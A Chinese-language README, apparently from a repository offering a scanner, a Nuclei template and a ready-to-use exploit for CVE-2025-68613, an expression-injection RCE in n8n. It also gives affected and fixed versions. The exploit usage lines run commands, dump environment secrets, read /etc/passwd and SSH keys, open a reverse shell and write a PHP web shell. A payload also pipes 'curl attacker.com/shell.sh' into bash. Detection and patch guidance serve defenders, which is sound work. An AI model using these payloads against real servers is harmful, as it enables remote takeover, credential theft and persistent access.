针对 CVE-2025-68613 的公开 PoC + 扫描器及研究:n8n 工作流自动化中的严重 RCE 漏洞(通过表达式注入,CVSS 10.0)。包含检测工具、完整利用代码和修复指南。

CVE-2025-68613 是流行开源工作流自动化平台 n8n 中发现的一个严重远程代码执行(RCE) 漏洞。该漏洞允许经过身份验证的用户在服务器上执行任意代码,可能导致系统完全被攻陷。
n8n 是一个开源工作流自动化平台,允许用户:
组织使用 n8n 来:
这种在 IT 基础设施中的核心角色使漏洞尤其危险,因为它们可为攻击者提供对整个网络和敏感数据的访问权限。
本仓库包含用于漏洞检测和利用测试的即用工具:
cve-2025-68613-scanner.py用途:安全、非利用性的易受攻击 n8n 实例检测
特性:
用法:```bash python3 cve-2025-68613-scanner.py -u http://target:5678
**输出**:
- 退出码 0:未发现漏洞
- 退出码 1:版本无法确定(可能已修补或隐藏)
- 退出码 2:检测到存在漏洞的版本
### 2. Nuclei 模板:`CVE-2025-68613.yaml`
**目的**:自动漏洞检测和基本表达式评估测试
**特性**:
- 需要有效认证令牌
- 测试表达式注入能力
- 尝试读取 Node.js 全局上下文(process.platform)
- 创建工作流以验证 RCE 向量
- CVSS 10.0 严重等级分类
**使用方法**:```bash
# Single target with known token
nuclei -t CVE-2025-68613.yaml -u http://target:5678 -v
# Multiple targets
nuclei -t CVE-2025-68613.yaml -l targets.txt
exploit_cve-2025-68613.py用途:包含多种攻击载荷的概念验证漏洞利用程序
功能:
要求:
安装:```bash pip install requests chmod +x exploit_cve-2025-68613.py
**使用示例**:```bash
# Gather system information
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload info
# Execute system command (whoami)
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload cmd --command "whoami"
# Extract all environment variables (credentials, API keys)
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload env
# Read sensitive files
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload read --file "/etc/passwd"
# Establish reverse shell (requires netcat listener)
# On attacker machine: nc -lvnp 4444
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444
# Write a web shell for persistence
python3 exploit_cve-2025-68613.py -u http://target:5678 \
-e [email protected] -p password --payload write \
--file "/tmp/shell.php" --content '<?php system($_GET["cmd"]); ?>'
工作原理:
this.constructor.constructor() 突破表达式沙箱process.platform 或其他 Node.js API 执行负载退出代码:
简单来说:n8n 允许用户在工作流中编写表达式来动态处理数据。然而,这些表达式在没有适当沙箱的情况下被评估,使得攻击者能够突破预期的执行上下文,在服务器上运行任意代码。
当你在 n8n 中创建工作流时,可以使用“表达式”来操作数据。这些表达式应该在受限环境中运行。然而,该漏洞表明这些表达式可以访问底层系统,使得攻击者能够:
当用户在 n8n 中创建工作流时,他们可以使用表达式来处理数据:``` Input: User creates a workflow with an expression n8n Expression Engine: Evaluates the expression Expected Output: Processed data Actual Output (Vulnerable): Expression execution context not isolated from runtime
#### 步骤 2:表达式注入
攻击者构建一个恶意表达式,以逃脱预期的沙箱:```javascript
// Example: Malicious expression in workflow
${require('child_process').execSync('id')}
表达式未经过适当隔离就被评估,使得攻击者能够:
该漏洞源于表达式评估引擎中的不充分的沙箱化。n8n 团队评估表达式的上下文允许:
require() 或类似的模块加载函数User Input (Workflow Expression) ↓ Expression Parser ↓ Evaluation Engine (VULNERABLE - Not Sandboxed) ↓ Direct Access to Node.js Runtime ↓ System Command Execution / File Access / Credential Theft
---
## 受影响版本
### 受影响的版本范围
所有从 **0.211.0** 开始到以下版本的 n8n 版本均受影响:
- `0.211.0` → `1.120.3`
- `1.121.0`
### 已修复版本
该漏洞已在以下版本中修复:
- ✅ `1.120.4` 以及 1.120.x 分支的后续版本
- ✅ `1.121.1` 以及 1.121.x 分支的后续版本
- ✅ `1.122.0` 及所有更新版本
### 如何检查你的版本```bash
# If n8n is running
curl http://your-n8n-instance:5678/ | grep -i "version"
# Or check the admin panel
# Go to Settings → About → Version
/rest/workflows/{id}/run 端点 在 v1.121.0 中返回HTTP 500错误
该漏洞利用工具针对NVD记录的受攻击范围设计:
若针对此范围外的版本进行测试,无法保证成功。
一旦已认证用户(或持有有效凭证的攻击者)利用此漏洞,即可:
${require('child_process').execSync('whoami').toString()} // Returns: root (or whatever user runs n8n)
${require('child_process').execSync('curl attacker.com/shell.sh | bash').toString()} // Downloads and executes a shell script
#### 2. 从服务器读取文件```javascript
${require('fs').readFileSync('/etc/passwd', 'utf-8')}
// Reads sensitive system files
${require('fs').readFileSync('/home/user/.ssh/id_rsa', 'utf-8')}
// Steals SSH keys
${Object.keys(process.env).join(', ')} // Lists all environment variables
${process.env.DATABASE_PASSWORD} // Extracts specific secrets
#### 4. 写入恶意文件```javascript
${require('fs').writeFileSync('/var/www/shell.php', 'malicious code')}
// Plants a web shell for persistence